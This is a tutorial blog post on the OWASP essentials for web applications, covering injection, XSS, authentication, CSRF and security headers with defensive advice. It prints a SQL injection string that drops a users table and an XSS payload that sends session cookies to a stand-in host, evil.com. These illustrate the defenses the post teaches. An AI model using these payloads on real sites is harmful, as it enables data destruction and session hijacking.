Security for Web Applications: The OWASP Essentials

The previous posts in this path covered caching strategies and database scaling. This post covers the concern that underpins everything else: security — specifically, the attacks that most commonly succeed against web applications and the defenses that prevent them.

Web application security is often treated as a specialist topic — something the security team handles. This is how breaches happen. Security is not a feature you add at the end. It is a quality that exists (or does not) in every line of code that handles user input, manages sessions, queries databases, or renders content. Every developer who writes web code is writing security-relevant code, whether they know it or not.

The OWASP Top 10 catalogs the most critical security risks to web applications. You do not need to memorize the full list. You need to understand the patterns — and most of them come down to one principle: never trust user input.

Injection: The Attack That Should Not Still Work

Injection attacks occur when user-supplied data is interpreted as code or commands by the application. SQL injection is the classic example: the user enters '; DROP TABLE users; -- into a search field, and if the application concatenates that input directly into a SQL query, the database executes the malicious command.

SQL injection should be a solved problem. Parameterized queries and ORMs have been available for decades. Yet injection remains in the OWASP Top 10 because developers still concatenate user input into queries, especially in quick-and-dirty code, internal tools, and legacy systems.

The defense is absolute: never build queries by concatenating user input. Use parameterized queries. Use an ORM. Use prepared statements. The specific mechanism depends on your language and database, but the principle is universal: user input is data, not code. Treat it as data.

Injection extends beyond SQL. Command injection (user input passed to a shell command), LDAP injection (user input in an LDAP query), and template injection (user input in a server-side template) all follow the same pattern: user data crosses a trust boundary and is interpreted as executable instructions.

Cross-Site Scripting: Your Users Attacking Each Other

Cross-Site Scripting (XSS) occurs when user-supplied content is rendered in a web page without sanitization, allowing an attacker to inject JavaScript that runs in other users' browsers. The attacker posts a comment containing <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>, and every user who views that comment has their session cookie sent to the attacker.

XSS is particularly dangerous because the malicious code runs in the context of your application's origin. It has access to the user's cookies, session tokens, and any data the page can access. It can perform actions as the user — post content, change settings, make purchases.

The defense layers: output encoding (convert < to &lt; when rendering user content in HTML), Content Security Policy headers (restrict which scripts can execute), and modern frontend frameworks (React, Vue, Angular) that escape content by default. The framework defense is the strongest — if you render user content through the framework's templating system rather than innerHTML, XSS is prevented by default.

The vulnerability that remains: places where you intentionally render unescaped HTML — WYSIWYG editors, markdown renderers, and any feature that displays user-generated rich content. These require server-side sanitization that allows safe HTML tags and strips dangerous ones.

Broken Authentication and Session Management

Authentication attacks do not always exploit code vulnerabilities. They exploit design weaknesses — weak password policies, predictable session tokens, missing brute-force protection, and insecure session storage.

The defenses are well-established. Hash passwords with bcrypt, scrypt, or Argon2 — never MD5 or SHA-256 without a salt. Implement rate limiting on login endpoints to prevent credential stuffing. Use HTTP-only, secure, same-site cookies for session tokens so they are not accessible to JavaScript or sent on cross-origin requests. Implement multi-factor authentication for sensitive operations.

Session management mistakes are subtle. A session token that does not change after login allows session fixation attacks. A session that does not expire forces users to remain authenticated indefinitely. A logout that does not invalidate the server-side session means the session token remains valid even after the user believes they have logged out.

The principle: authentication and session management should use well-tested libraries, not custom implementations. The frameworks in every major language provide authentication middleware that handles the details correctly. Writing your own authentication system is inviting bugs that security researchers discovered and fixed in existing libraries years ago.

Cross-Site Request Forgery

CSRF exploits the fact that browsers automatically send cookies with requests. If a user is logged into your banking application and visits a malicious page, that page can make requests to your application — and the browser will attach the user's authentication cookies. The request looks legitimate to the server because it carries valid credentials.

The attacker creates a hidden form on their page that submits a money transfer request to your bank. The user visits the page, the form auto-submits, and the bank processes the transfer because the request includes the user's session cookie.

The defense: anti-CSRF tokens. The server generates a unique token for each session and includes it in forms and AJAX requests. The server verifies the token on every state-changing request. The malicious page cannot obtain the token because it is embedded in the legitimate page's HTML, which the attacker cannot read due to the same-origin policy.

The SameSite cookie attribute provides additional defense. Setting SameSite=Strict or SameSite=Lax on session cookies prevents the browser from sending them on cross-origin requests, which blocks most CSRF attacks. Modern browsers default to SameSite=Lax, but explicitly setting it ensures consistent behavior.

Security Headers: Low Effort, High Value

HTTP security headers tell the browser to enforce security policies on your behalf. They cost nothing in performance, require minimal implementation effort, and prevent entire categories of attacks.

Content-Security-Policy restricts which resources (scripts, styles, images) the browser can load. A strict CSP prevents XSS by blocking inline scripts and limiting script sources to your domain and trusted CDNs.

Strict-Transport-Security tells the browser to only communicate over HTTPS. Even if a user types http://, the browser upgrades to HTTPS automatically.

X-Content-Type-Options: nosniff prevents the browser from interpreting uploaded files as a different type than declared — blocking an attack where an uploaded image file is actually a script.

X-Frame-Options or CSP frame-ancestors prevents your page from being embedded in an iframe on a malicious site, blocking clickjacking attacks.

These headers are set once in your web server or application configuration and protect every page on your site. Not setting them is leaving free security on the table.

The Takeaway

Web application security is not about exotic attacks or nation-state adversaries. It is about the common vulnerabilities that automated scanners find and script kiddies exploit: injection, XSS, broken authentication, CSRF, and missing security headers.

The defenses are well-known and straightforward: parameterized queries, output encoding, secure session management, CSRF tokens, and security headers. These are not advanced techniques — they are baseline practices that should be present in every web application. The frameworks you are already using likely support all of them with configuration rather than custom code.

Security is not something you add later. It is something you have by default when you use the standard defenses and lose when you bypass them.

---

Next in the "Production Web Architecture" learning path: We'll cover API rate limiting and throttling — protecting your services from abuse and overload while maintaining good user experience.